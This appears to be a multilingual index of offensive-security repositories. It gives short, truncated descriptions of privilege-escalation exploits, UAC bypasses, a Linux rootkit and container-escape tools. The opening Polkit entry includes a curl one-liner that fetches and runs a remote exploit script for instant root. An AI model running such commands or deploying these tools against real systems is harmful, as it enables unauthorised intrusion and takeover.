CVE-2021-3560

CVE-2021-3560 Exploit Root Istantaneo di Polkit Puoi ottenere i permessi di root con un solo comando su sistemi vulnerabili a Polkit CVE-2021-3560 digitando: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Oppure puoi scaricare il file .sh o copiarlo e...

CVE-2026-3228

CVE-2026-3228 - Scanner ed Exploit per XSS Memorizzato nel Plugin WordPress NextScripts https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red Autore: NULL200OK Uno strumento Python completo per scansionar...

CVE-2021-4034

CVE-2021-4034 PWNKIT Script per creare ed sfruttare la vulnerabilità per CTF. Codice sorgente di github.com/berdav Autore reale: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

sploits

sploits | कोड| विवरण ---|---|--- CVE-2018-4310| code| MediaRemote: अतिरिक्त सैंडबॉक्स प्रतिबंधों के साथ एक एक्सेस समस्या का समाधान किया गया CVE-2018-4991| code| Adobe Creative Cloud Desktop Application के संस्करण 4.4.1.298 और पहले के संस्करणों में एक शोषण योग्य अनुचित प्रमाणपत्र सत्यापन भेद्यता ह...

SetupHijack

SetupHijack Aperçu SetupHijack est un outil de recherche en sécurité qui exploite des conditions de concurrence et une gestion non sécurisée des fichiers dans les processus d'installation et de mise à jour de Windows. Il cible les scénarios où des installateurs ou programmes de mise à jour...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...

Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion

Dieses Repository enthält einen PoC-Exploit, der eine Exploitationstechnik namens Aligned Chunk Confusion verwendet. Die Details zu dieser Technik finden sich im Paper. Dieser Exploit nutzt einen Heap-Overflow im Windows-Kernel-Heap aus, um seine Berechtigungen von Low auf SYSTEM zu erhöhen. Die...

CVE-2026-13152

CVE-2026-13152: Escalação de Privilégios Não Autenticada no Custom Fields Account Registration For WooCommerce 1.4 -blue.svg 📖 Visão Geral do Advisory O CVE-2026-13152 é uma vulnerabilidade de escalação de privilégios não autenticada que afeta o plugin Custom Fields Account Registration For...

Diamorphine

Diamorphine Diamorphine ist ein LKM-Rootkit für Linux-Kernel 2.6.x/3.x/4.x/5.x/6.x x86/x8664 und ARM64 Funktionen Beim Laden ist das Modul unsichtbar; Jeden Prozess durch Senden von Signal 31 verstecken/einblenden; Durch Senden von Signal 63 an eine beliebige PID wird das Modul unsichtbar; Durch...

Metasploit-CVE-2026-54121-Certighost

Metasploit-CVE-2026-54121-Certighost Certighost a été découvert et exploité à l'origine par h0j3n et Aniq Fakhrul. Ce dépôt contient un module auxiliaire Metasploit qui permet d'élever les privilèges d'un utilisateur de domaine à faibles privilèges jusqu'à la compromission totale du domaine en...

CVE-2026-31431-Verificador-Exploit

CVE-2026-31431 - Exploit di Escalation dei Privilegi nel Kernel Linux Descrizione Exploit funzionante per la vulnerabilità CVE-2026-31431 che consente l'escalation dei privilegi locali su sistemi Linux tramite lo sfruttamento di un difetto nel sottosistema crittografico AFALG del kernel combinato...

local-exploits

स्थानीय शोषण विभिन्न स्थानीय शोषण CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap स्थानीय रूट शोषण। कोड अधिकतर Qualys advisory 2020-02-24 से लिया गया है CVE-2020-8793 के लिए। opensmtpd: गैर-विशेषाधिकार प्राप्त हमलावर द्वारा मनमानी फ़ाइल पढ़ने से सूचना प्रकटीकरण या विशेषाधिकार...

CVE-2025-25616

CVE-2025-25616 Unifiedtransform v2.0 est vulnérable à un contrôle d'accès incorrect, permettant aux étudiants de modifier les règles d'examen. Le point de terminaison concerné est /exams/edit-rule?examruleid=1. Éditeur : Unifiedtransform PoC Étape 1 : Connectez-vous à l'application en tant...

Privilege-Escalation

⬆️ Privilege Escalation für Pentester Ein praktischer Privilege-Escalation-Spickzettel und Referenzleitfaden für CTF-Spieler, Penetrationstester und Cybersicherheits-Lernende, um zu verstehen, wie Angreifer auf kompromittierten Systemen Privilegien ausweiten. 🌐 Vernetze dich mit uns 🔵 Telegram –...

PwnKit-Hunter

Hintergrund Letzte Woche wurde eine schwerwiegende Schwachstelle in polkits pkexec öffentlich bekannt gegeben Link. Durch die Ausnutzung dieser Schwachstelle konnten Angreifer auf einem verwundbaren Host von jedem unprivilegierten Benutzer aus problemlos vollständige Root-Rechte erlangen. Nach de...

CentOS-Control-Web-Panel-CVE

CentOS Control Web Panel Version 0.9.8.836 - 0.9.8.847 Am 29. Juni 2019 begann unser Team, Schwachstellen im CentOS Control Web Panel CWP Version 0.9.8.836 zu suchen, und wir fanden einige kritische Schwachstellen. Einige der von uns gefundenen Schwachstellen können zu einer Kette verbunden werde...

WinBypass

Windows-UAC-Bypass | Privilegieneskalation Slui-Dateihandler-Hijack LPE - Windows 8-10 SluiHijackBypass.ps1 UAC-Bypass über FodHelper - Windows 10 FodhelperBypass.ps1 UAC-Bypass über die Ereignisanzeige - Windows 7 EventVwrBypass.ps1 Metasploit-Framework-Modul bypassuacsluihijack.rb kopieren...

OverlayFS---CVE-2021-3493

TL;DR Erfahren Sie, wie eine Schwachstelle in OverlayFS lokalen Benutzern unter Ubuntu ermöglicht, Root-Rechte zu erlangen. Zusammenfassung der Sicherheitslücke Ein Ubuntu-spezifisches Problem im overlayfs-Dateisystem des Linux-Kernels, bei dem die Anwendung von Dateisystem-Capabilities in Bezug...

CVE-2020-28243

CVE-2020-28243 Уязвимость внедрения команд в SaltStack Salt позволяет повысить привилегии через специально созданные имена процессов на миньоне, когда мастер вызывает restartcheck. Полное описание см. в этой статье. Затронутые версии: Все версии от 2016.3.0rc2 до 3002.2 Ссылки: Mitre, NVD...

deepce

deepce root@kitploit: . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Website Enumeração de Docker, Escalação de Privilégios e Escapes de Containers DEEPCE Para ser compatível com o número máximo de...